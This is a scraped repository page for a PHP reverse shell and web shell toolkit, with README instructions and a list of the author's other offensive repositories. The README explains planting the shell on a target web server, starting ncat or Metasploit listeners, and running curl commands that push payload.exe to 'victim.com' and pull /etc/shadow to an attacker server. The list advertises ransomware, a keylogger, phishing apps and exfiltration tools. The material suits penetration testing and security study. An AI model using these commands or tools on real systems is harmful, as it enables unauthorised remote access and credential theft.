• Stars
    star
    335
  • Rank 125,904 (Top 3 %)
  • Language
    PHP
  • License
    GNU General Publi...
  • Created over 4 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

PHP shells that work on Linux OS, macOS, and Windows OS.

PHP Reverse Shell

Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author!

Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect an underlying OS.

Works with both ncat and multi/handler.

Tested on XAMPP for Linux v7.3.19 (64-bit) with PHP v7.3.19 on Kali Linux v2020.2 (64-bit).

Tested on XAMPP for OS X v7.4.10 (64-bit) with PHP v7.4.10 on macOS Catalina v10.15.6 (64-bit).

Tested on XAMPP for Windows v7.4.3 (64-bit) with PHP v7.4.3 on Windows 10 Enterprise OS (64-bit).

In addition, everything was tested on Docker images nouphet/docker-php4 with PHP v4.4.0 and steeze/php52-nginx with PHP v5.2.17.

Made for educational purposes. I hope it will help!

Process pipes on Windows OS do not support asynchronous operations so stream_set_blocking(), stream_select(), and feof() will not work properly, but I found a workaround.

Table of Contents

Reverse Shells

/src/reverse/php_reverse_shell.php requires PHP v5.0.0 or greater, mainly because proc_get_status() is used.

/src/reverse/php_reverse_shell_older.php requires PHP v4.3.0 or greater.

Change the IP address and port number inside the scripts as necessary.

Copy /src/reverse/php_reverse_shell.php to your server's web root directory (e.g. to /opt/lampp/htdocs/ on XAMPP) or upload it to your target's web server.

Navigate to the file with your preferred web browser.

Web Shells

Check the simple PHP web shell based on HTTP POST request.

Check the simple PHP web shell based on HTTP GET request. You must URL encode your commands.

Check the simple PHP web shell v2 based on HTTP GET request. You must URL encode your commands.

Find out more about PHP obfuscation techniques for older versions of PHP at lcatro/PHP-WebShell-Bypass-WAF. Credits to the author!

File Upload/Download Script

Check the simple PHP file upload/download script based on HTTP POST request for file upload and HTTP GET request for file download.

When downloading a file, you should URL encode the file path, and specify name of the output file.

Depending on the server configuration, downloading a file through HTTP GET parameter might not always work, so you will have to hardcore the file path in the script.

Case 1: Upload the Script to the Victim’s Server

Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.

Upload a file to the victim's server web root directory from your PC:

curl -s -k -X POST https://victim.com/files.php -F file=@/root/payload.exe

Download a file from the victim's PC to your PC:

curl -s -k -X GET https://victim.com/files.php?file=/etc/shadow -o shadow

If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.

Case 2: Upload the Script to Your Server

From your PHP reverse shell, run the following cURL commands.

Upload a file from the victim's PC to your server web root directory:

curl -s -k -X POST https://your-server.com/files.php -F file=@/etc/shadow

Download a file from your PC to the victim's PC:

curl -s -k -X GET https://your-server.com/files.php?file=/root/payload.exe -o payload.exe

curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe

Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up ncat listener:

ncat -nvlp 9000

Set up multi/handler listener:

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

Images

Ncat

Figure 1 - Ncat

Script Dump

Figure 2 - Script's Dump

More Repositories

1

penetration-testing-cheat-sheet

Work in progress...
PHP
425
star
2

invoker

Penetration testing utility and antivirus assessment tool.
C++
293
star
3

wifi-penetration-testing-cheat-sheet

Work in progress...
291
star
4

powershell-reverse-tcp

PowerShell scripts for communicating with a remote host.
PowerShell
271
star
5

android-penetration-testing-cheat-sheet

Work in progress... Thanks for all the stars, I will try to prioritize this project :)
JavaScript
241
star
6

forbidden

Bypass 4xx HTTP response status codes and more. Based on PycURL.
Python
195
star
7

ios-penetration-testing-cheat-sheet

Work in progress...
JavaScript
142
star
8

php-ransomware

PHP ransomware that encrypts your files, as well as file and directory names.
PHP
100
star
9

keylogger

Windows OS keylogger with a hook mechanism (i.e. with a keyboard hook procedure).
C++
66
star
10

evil-twin

Learn how to set up a fake authentication web page on a fake WiFi network.
PHP
55
star
11

chat-app

Multithreading TCP server and client communicating over TCP/IP - Windows Forms Application.
C#
43
star
12

java-reverse-tcp

JAR, Java, and JSP shells that work on Linux OS, macOS, and Windows OS.
Java
35
star
13

xss-catcher

Simple API for storing all incoming XSS requests.
HTML
26
star
14

phishing-mobile-app

Phishing mobile application made in React Native for both Android and iOS devices.
JavaScript
24
star
15

secure-website

Secure website with a registration, sign in, session management, and CRUD controls.
PHP
22
star
16

dns-exfiltrator

Exfiltrate data with DNS queries. Based on CertUtil and NSLookup.
Batchfile
17
star
17

metagoofeel

Web crawler and downloader based on GNU Wget.
Shell
11
star
18

jwt-bf

Brute force a JWT token. Script uses multithreading.
Python
9
star
19

wordlist-extender

Extend wordlist by appending digits and special characters to each word.
Python
9
star
20

chad

Search Google Dorks like Chad.
Python
8
star
21

domain-extractor

Extract valid or partially valid domain names and IPs from malicious or invalid URLs.
Python
8
star
22

file-shredder

PowerShell script for shredding files.
PowerShell
7
star
23

dnsrecon-chunked

Brute force subdomains in multiple smaller iterations. Based on DNSRecon.
Shell
7
star
24

websocket-bf

Brute force a REST API query through WebSocket. Based on cURL.
Shell
6
star
25

unquoted-service-paths

List unquoted service paths and start, stop, or restart services as needed.
PowerShell
5
star
26

amounts

Generate a wordlist to fuzz amounts or any other numerical values.
Python
5
star
27

transporter

Send packets through raw sockets.
Python
4
star
28

pre-master-secret-key

Set up all you need to capture pre-master secret keys to decrypt SSL in Wireshark.
Batchfile
4
star
29

malware-droppers

Custom malware droppers written in multiple languages.
C#
4
star
30

css-dictionary-attack

Example on how to steal information with CSS from web forms.
CSS
3
star
31

ivan-sincek

My profile info.
3
star
32

nagooglesearch

Not another Google searching tool.
Python
2
star
33

uninstall-msi-products

Uninstall a specific or all MSI products.
PowerShell
2
star
34

send-tcp-payload

Send a payload through TCP.
Python
1
star
35

python-actions

Python SAST workflows.
Python
1
star
36

property-lister

Extract and convert property list files from SQLite database files and from other property list files.
Python
1
star
37

mixaudit-sarif

Convert MixAudit's JSON formatted results to SARIF format.
Python
1
star
38

go-actions

Golang SAST workflows.
Go
1
star